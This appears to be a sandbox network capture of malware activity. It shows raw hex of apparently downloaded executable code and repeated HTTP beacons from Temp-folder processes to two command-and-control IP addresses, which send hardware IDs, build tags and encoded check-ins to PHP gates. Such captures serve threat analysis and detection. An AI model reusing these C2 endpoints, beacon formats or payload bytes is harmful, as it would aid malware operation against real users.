Oct 24, 2024 09:08:37.832839966 CEST	1236	IN	Data Raw: 6a 00 8d 95 10 fc ff ff 52 ff 15 f4 e0 41 00 83 c4 0c 8d 8d f8 fb ff ff e8 d6 92 01 00 8d 8d 04 fc ff ff e8 cb 92 01 00 8d 4d 08 e8 13 00 00 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 89 4d fc 8b 4d fc 83 c1 7c e8 9e Data Ascii: jRAM]UQMM\|MHM<M0}MO]UQMEPMM0QM0U<RM<EHPMHMUBTATMUBXAXMUB\A\M
Oct 24, 2024 09:08:37.832876921 CEST	1236	IN	Data Raw: ff 52 8d 45 08 50 8d 8d 9c fd ff ff 51 68 ac 53 42 00 8d 95 a8 fd ff ff 52 8d 45 e8 50 8d 8d b4 fd ff ff 51 8d 8d 94 fe ff ff e8 10 8f 01 00 8b c8 e8 99 8f 01 00 8b c8 e8 02 8f 01 00 8b c8 e8 8b 8f 01 00 8b c8 e8 84 8f 01 00 8b c8 e8 7d 8f 01 00 Data Ascii: REPQhSBREPQ}PZlxxmR0PhLVB<QURHPhUBTQUR`P
Oct 24, 2024 09:08:37.832915068 CEST	336	IN	Data Raw: f6 ff ff 8b 45 fc 6b c0 2c 8b 8d 90 00 00 00 8b 54 01 28 52 8b 45 fc 6b c0 2c 8b 8d 90 00 00 00 8d 54 01 1c 83 ec 0c 8b cc 52 e8 bc 88 01 00 8b 45 fc 6b c0 2c 03 85 90 00 00 00 83 ec 0c 8b cc 50 e8 a5 88 01 00 8b 4d fc 6b c9 2c 8b 95 90 00 00 00 Data Ascii: Ek,T(REk,TREk,PMk,DPMk,DPyXURHM]UEddUdPdAdBd
Oct 24, 2024 09:08:37.832932949 CEST	1236	IN	Data Raw: 08 81 c2 00 10 00 00 89 55 08 8b 45 08 c1 e8 0c 5d c3 cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 08 8b 45 08 89 45 f8 8b 4d 08 8b 51 04 2b 55 0c c1 e2 0c 03 55 f8 89 55 f8 8b 45 f8 89 45 fc 8b 4d 08 8b 51 04 2b 55 0c 8b 45 08 89 50 04 8b 4d fc 8b Data Ascii: UE]UEEMQ+UUUEEMQ+UEPMUQEMHUEHJUztEHUQEMHUEE]Ud;EuMdUBMAUBEMQPExtMQEBE]UE
Oct 24, 2024 09:08:37.832951069 CEST	1236	IN	Data Raw: 42 00 68 38 1e 42 00 e8 db 20 00 00 83 c4 0c a3 2c a1 64 00 6a 14 68 48 1e 42 00 68 60 1e 42 00 e8 c2 20 00 00 83 c4 0c a3 b0 a2 64 00 6a 0c 68 78 1e 42 00 68 88 1e 42 00 e8 a9 20 00 00 83 c4 0c a3 50 a5 64 00 6a 09 68 98 1e 42 00 68 a4 1e 42 00 Data Ascii: Bh8B ,djhHBh`B djhxBhB PdjhBhB \|djhBhBw djhBhB^ djhBhBE (djhBhB, djhBh$B $djh0Bh@B
Oct 24, 2024 09:08:37.832969904 CEST	1236	IN	Data Raw: 28 23 42 00 68 44 23 42 00 e8 05 1c 00 00 83 c4 0c a3 fc a4 64 00 6a 12 68 60 23 42 00 68 74 23 42 00 e8 ec 1b 00 00 83 c4 0c a3 f8 a4 64 00 6a 0b 68 88 23 42 00 68 94 23 42 00 e8 d3 1b 00 00 83 c4 0c a3 b8 a0 64 00 6a 0d 68 a0 23 42 00 68 b0 23 Data Ascii: (#BhD#Bdjh`#Bht#Bdjh#Bh#Bdjh#Bh#Bdjh#Bh#B<djh#Bh#BLdjh#Bh$Bodjh $Bh,$BVdjh8$BhH$B=djhX$Bhd$B$
Oct 24, 2024 09:08:37.832989931 CEST	636	IN	Data Raw: 17 00 00 83 c4 0c a3 e0 a2 64 00 6a 0c 68 c0 29 42 00 68 d0 29 42 00 e8 23 17 00 00 83 c4 0c a3 e8 a5 64 00 6a 10 68 e0 29 42 00 68 f4 29 42 00 e8 0a 17 00 00 83 c4 0c a3 2c a4 64 00 6a 1a 68 08 2a 42 00 68 24 2a 42 00 e8 f1 16 00 00 83 c4 0c a3 Data Ascii: djh)Bh)B#djh)Bh)B,djhBh$Bddjh@Bh`B`djhBhBdjhBhBdjhBhBdjh*Bh+BtTdjh(+Bh8+B[@djhH+B
Oct 24, 2024 09:08:37.838558912 CEST	1236	IN	Data Raw: 6a 0f 68 58 2d 42 00 68 68 2d 42 00 e8 b2 14 00 00 83 c4 0c a3 38 a3 64 00 6a 10 68 78 2d 42 00 68 8c 2d 42 00 e8 99 14 00 00 83 c4 0c a3 58 a2 64 00 6a 10 68 a0 2d 42 00 68 b4 2d 42 00 e8 80 14 00 00 83 c4 0c a3 44 a2 64 00 6a 13 68 c8 2d 42 00 Data Ascii: jhX-Bhh-B8djhx-Bh-BXdjh-Bh-BDdjh-Bh-Bg<djh-Bh.BNdjh.Bh$.B5djh8.BhL.Bldjh`.Bht.Bdjh.Bh.Bdjh.Bh.B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50021	185.215.113.37	80	7232	C:\Users\user\AppData\Local\Temp\1001141001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:39.909487009 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 09:08:40.811779022 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:08:40 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 09:08:40.836540937 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAEBFIJKEBGHIDHIEGI Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 2d 2d 0d 0a Data Ascii: ------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="build"doma------FCAEBFIJKEBGHIDHIEGI--
Oct 24, 2024 09:08:41.123121023 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:08:40 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50024	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:41.423157930 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 34 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001141001&unit=246122658369
Oct 24, 2024 09:08:42.328329086 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50027	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:44.355967999 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 09:08:45.034967899 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50028	34.107.221.82	80	2720	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:44.808630943 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 09:08:45.411812067 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 53786 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 09:08:55.427692890 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50031	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:46.689500093 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 09:08:47.559365988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50034	34.107.221.82	80	2720	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:48.509675026 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 09:08:49.114995956 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 65704 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 09:08:59.130795956 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50035	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:49.224823952 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 09:08:50.137255907 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50037	185.215.113.37	80	7296	C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:51.430263042 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 09:08:52.332920074 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:08:52 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 09:08:52.380508900 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECFIEGDBKJKFIDHIECG Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 2d 2d 0d 0a Data Ascii: ------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="build"doma------IECFIEGDBKJKFIDHIECG--
Oct 24, 2024 09:08:52.665363073 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:08:52 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50038	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:51.667711020 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 09:08:52.577703953 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50039	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:54.215893984 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 09:08:55.135102987 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50040	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:56.668797016 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 09:08:57.601746082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50041	185.215.113.37	80	8104	C:\Users\user\AppData\Local\Temp\1001141001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:58.622730970 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 09:08:59.514193058 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:08:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 09:08:59.517107964 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFCFHDHIIIECBGCAKFI Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 2d 2d 0d 0a Data Ascii: ------BAFCFHDHIIIECBGCAKFIContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------BAFCFHDHIIIECBGCAKFIContent-Disposition: form-data; name="build"doma------BAFCFHDHIIIECBGCAKFI--
Oct 24, 2024 09:08:59.797960997 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:08:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50042	185.215.113.37	80	1096	C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:59.195409060 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 09:09:00.309871912 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:09:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 09:09:00.444308043 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCB Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 2d 2d 0d 0a Data Ascii: ------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="build"doma------GDHDHJEBGHJKFIECBGCB--
Oct 24, 2024 09:09:00.730006933 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:09:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50043	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:59.412333012 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 09:09:00.315206051 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:09:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50044	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:01.904505014 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 09:09:02.814645052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:09:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	50052	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:09:03.475894928 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
